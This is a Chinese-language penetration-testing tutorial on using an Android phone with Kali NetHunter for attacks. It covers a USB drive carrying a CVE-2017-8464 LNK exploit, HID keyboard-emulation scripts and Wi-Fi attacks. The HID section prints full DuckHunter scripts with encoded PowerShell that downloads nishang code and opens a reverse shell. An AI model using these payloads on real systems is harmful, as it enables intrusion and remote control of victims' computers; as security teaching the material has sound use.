http://p8.qhimg.com/t01e2a93b828fd6ff3d.png

 


前言


在本文中将介绍三种使用 Android设备进行渗透测试的思路。本文中的大多数使用基于 Kali Nethunter.


安装 Kali Nethunter


kali nethunter 是在已有的 rom上对内核进行修改而定制的一个系统,他通过 chroot 来在安卓设备中运行 kali。故在安装 kali nethunter前你得先有一个被支持的rom.官方支持的设备和rom列表: https://github.com/offensive-security/kali-nethunter/wiki 。这里我用的是 nexus4 ,其他设备的流程应该大概差不多。具体流程如下:

根据官方的支持列表刷入 对应支持的 rom , 为了方便可以使用 刷机精灵 进行刷机,我的是nexus4 ,刷cm13, 使用这个镜像 http://www.romzj.com/rom/61429.htm  。

从 https://build.nethunter.com/nightly/  下载对应的 kernel-nethunter-makocm<适配设备mako nexus4>-marshmallow<版本号,cm13是 android 6.0 >-* 和 nethunter-generic-armhf<架构,nexus4为armv7 32位> android-kalifs-full-rolling-* , 然后使用 twrp 先刷 kalifs , 然后刷入 kernel.


遇到的问题


nethunter app会卡死在 复制脚本文件那,我注释掉了那两句复制文件的代码,手动把apk中asserts目录下的相应目录复制为: /data/data/com.offsec.nethunter/files/{etc,scripts} 和 /sdcard/nh_files 

windows下复制脚本到linux, 会因为换行符的问题导致脚本不能执行, 使用 dos2unix 对文件进行转换

com.offsec.nhterm (用于开启、使用 kali的命令行界面)会报错,使用 https://github.com/madScript01/install_nh  中的Term-nh.apk 把它替换掉。

为了方便后面的实验,开启 ssh服务,使用PC连接(默认用户名密码: root/toor), 真正去渗透时我们可以把一些常用的命令写成脚本方便直接运行。

开启ssh

http://p8.qhimg.com/t0133f5e0aef96112e0.gif


思路一:普通U盘类攻击


在nethunter安装完后,会有一个 DroidDrive 的app, 我们可以用它来创建一个镜像,然后挂载,然后我们的安卓手机就可以当U盘来用了。具体过程看下面。


                                    http://p4.qhimg.com/t012468032fa66c0490.gif

点击需要挂载的镜像,然后会有几种挂载方式,这里使用第二种就行。弄好后,用usb线接入电脑,会提示 需要格式化 ,格式化后就和普通的U盘一样用了。

U盘攻击很早之前就有了,那时使用 autorun.inf 来传播病毒, 下面要介绍的是使用 最近的 cve-2017-8464 的 exp来进行攻击。首先使用msf生成 payload

t01e1a4d78ad4fe6374.jpg

根据你的U盘在pc上识别为什么盘(A,B,...)来复制相应的 .lnk文件 和 .dll。为了通用把他们全复制到u盘根目录。然后设置好 handler:

t01a8220510b3c28a59.jpg

插入U盘,打开我的电脑,就会反弹shell了。


思路二:HID攻击


通过HID攻击,我们可以通过USB线来模拟键盘鼠标的操作,这样我就可以在目标上执行恶意代码。Kali Nethunter中有两种 HID攻击payload生成方式。第一种就是下面这个:

手机通过USB连到 PC ,然后:

http://p2.qhimg.com/t01d7922362ccc5e42b.gif

电脑上会打开 cmd, 执行 ipconfig:


这种方式非常简单,但是不够灵活。当机器的默认输入法为中文时,命令输入有时是会出问题的,比如输入 " (英文双引号)时 会变成 “(中文双引号)。

我建议用下面的那个 DuckHunter HID 模式进行这种方式的攻击。

该模式 允许我们使用 Usb Rubber Ducky的语法来实现  HID攻击,此外该模式还提供了一个 Preview 的选项卡,通过它我们可以发现其实HID攻击实际上就是使用 shell命令向 /dev/hidg0 发送数据,之后该设备就会将他们转换为键盘或者鼠标的操作。

后来在Github瞎找,找到了一个针对该模式生成shell脚本的项目: https://github.com/byt3bl33d3r/duckhunter 使用它我们可以很方便的对脚本进行测试(写完Usb Rubber Ducky脚本用该工具生成shell脚本然后再 Nethunter上运行 shell脚本。),同时该项目还提供了简单的 Usb Rubber Ducky的语法。

此时我们就能通过Nethunter向主机输入各种的键盘按键,组合键等。所以对于上面提出的 中文问题。我们可以在需要输入字符时,发送shift键切换到英文就行了。

一个通过执行 powershell 反弹shell的脚本示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

DELAY 1000
GUI r
DELAY 1000
SHIFT
DELAY 1000
SPACE
SPACE
STRING cmd
DELAY 2000
ENTER
SHIFT
DELAY 2000
ENTER
SPACE

STRING powershell -e SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACgAJAAoAE

4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACAAK

AAkACgATgBlAHcALQBPAGIAagB

lAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAKAAsACQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4

AZwAoACcAYgBZAHEAeABEAG8ASQB3AEYARQBWADMARQB2ADYAaABZAFkASwBCAFYAbgBRAHcAYwBUAFAAcQB3AEkASgBFAFQASABRAHQAOABFAEkAcgAwAEoATAAzAEgAdg

EADcARQBtAGYAUAAzAGMANAA5ACsAZQAwAGQARgA3AEMAbQA5AC8AbwBEAEQAWQBzAEMAVwBMADYAZwB2AGcAdwBXAEgAQwBmAHkANgBsAGMAMwBlAE4AMQBXAGoATgBaAD

EAYwBXAFMAWQBKAHoAbwBwAGgAWABxAFYAbgBXAFUAegAxAHoATQBCAE4AdAA3AHgAbABzAHYARwBqADQAcgAwAGkASgBvADEARwBkADgAcgBaADgAbABvADEANgBsAFIA

RQB3AE8AcQB5AHMAQQB3AGsATQByAGQANABuAHQASQBTADcAOABDAC8AdABTAHoAbQBlAFIARQBXAFoAUwBFAHcAYgA5AFAAcABBADkAWQBBAEEAbABFAG0AcABmAG4AdA

BrAFUAZwBFAHQAbgArAEsASABmAGIATQByAEgARgB5AE8ASwB3AEUAUQBaAGYAJwApACkAKQApACwAIABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtA

HAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMA

SQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA==

ENTER
STRING over......

tips:

在中文输入法为默认输入法时,在需要输入字符前,使用 shift 切换为 英文。尽量使用小写,因为大写的字符有时输入不了。

命令前可以插延时,回车, 空格 规避一些错误

powershell 执行的命令是使用了nishang的 Invoke-Encode.ps1模块进行的编码。详细请看:http://m.bobao.360.cn/learning/detail/3200.html

编码前的powershlle要执行的命令为

1
2
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1")
Invoke-PowerShellTcp -Reverse -IPAddress 127.0.0.1 -Port 3333

保存到文件,传到手机,在Nethunter中导入,运行(已连接电脑的前提下)。

然后电脑上就会输入 并执行

t012a4c603d71c2831d.jpg

然后就可以拿到shell

现在有个问题就是使用这种方式拿到的shell会在 pc上有 黑框, 关闭黑框shell就断了。这里我决定使用 metasploit的 meterpreter来解决这一问题。

1. 首先生成powershell的payload, 传到可访问的地址

2. 开启hander, 同时设置自动运行脚本,当shell过来时,自动迁移进程

3. 在目标机器远程调用执行payload

4. 执行完后sleep 几秒,以保证 msf 能够成功迁移进程。

5. 关闭命令行

生成 payload 和 开启handler 设置自动迁移进程

t01ab2c40c3222fd606.jpg

为了简单,复制 生成的 powershell脚本 到本地的web服务器。使用nishang对下面的脚本编码。

我这sleep 15秒等待msf迁移进程。编码后,最终DuckHunter HID攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

DELAY 1000
GUI r
DELAY 1000
SHIFT
DELAY 1000
SPACE
SPACE
STRING cmd
DELAY 2000
ENTER
SHIFT
DELAY 2000
ENTER
SPACE

STRING powershell -e SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAY

QBkAGUAcgAgACgAJAAoAE

4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACAAKAAkACgATgBlAHcALQBPAGIAagBl

AGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAKAAsACQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZw

AoACcAOAAzAFMATgAwAFAAQgBMAEwAZABmADEAVAA4AHAASwBUAFMANQBSADgARQBzAHQAMABRAHQAUABUAFgATABPAHkAVQB6AE4ASwA5AEgAVQBjADgAawB2AHoAOAB2AEoA

VAAwAHcASgBMAGkAbgBLAHoARQB2AFgAVQBNAG8AbwBLAFMAbQB3ADAAdABjADMATgBEAEwAWABNAHcAQgBDAFEALwAzAFUAaQBnAEsAOQBnAG0ASgBEAEoAVQAxAGUAcgB1AE

MAUwB4AEsASQBTADMAZQBDAGMAMQBOAFEAQwBCAGQAMwBnADEATwBUADgAdgBKAFIAaQBCAFUATgBUAFgAaQA0AEEAJwApACkAKQApACwAIABbAEkATwAuAEMAbwBtAHAAcgBl

AHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAa

QBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA==

ENTER
STRING exit
ENTER

执行后 ,msf的输出

t01cdc8db5016df0964.jpg


思路三:无线攻击


在手机上使用 otg 功能外接支持 monitor 的网卡,然后就和在 pc上使用 kali是一样的了。由于 nexus4 不支持 otg, 同时该方面的攻击网上也有很多文章介绍。下面说下思路并附上一些相关链接。

1. 破解wifi密码

2. 伪造ap,获取wifi密码

3. 进入wifi后,中间人攻击,嗅探,伪造更新。。。

破解wifi密码

破解wifi可以使用 aircrack-ng进行破解, 抓握手包,然后跑包(自己跑或者云平台)或者 直接使用 wifite 自动化的来。

http://www.cnblogs.com/youcanch/articles/5672325.html 

http://blog.csdn.net/whackw/article/details/49500053 

伪造ap,获取wifi密码

通过伪造wifi 名 并把目标ap连接的 合法 ap 打下线迫使他们重连wifi,增大钓鱼的成功率。

https://github.com/P0cL4bs/WiFi-Pumpkin/ 

https://github.com/wifiphisher/wifiphisher 

中间人攻击

这方面的攻击和文章很多。最近测试了一下感觉还是 MItmf 最强,基本满足了所有的需求。强烈推荐。

https://github.com/byt3bl33d3r/MITMf/wiki 

http://www.freebuf.com/sectool/45796.html


参考链接


https://github.com/offensive-security/kali-nethunter/wiki

https://www.52pojie.cn/thread-520380-1-1.html

http://wooyun.jozxing.cc/static/drops/tips-4634.html



本文由 安全客 原创发布,作者:for_while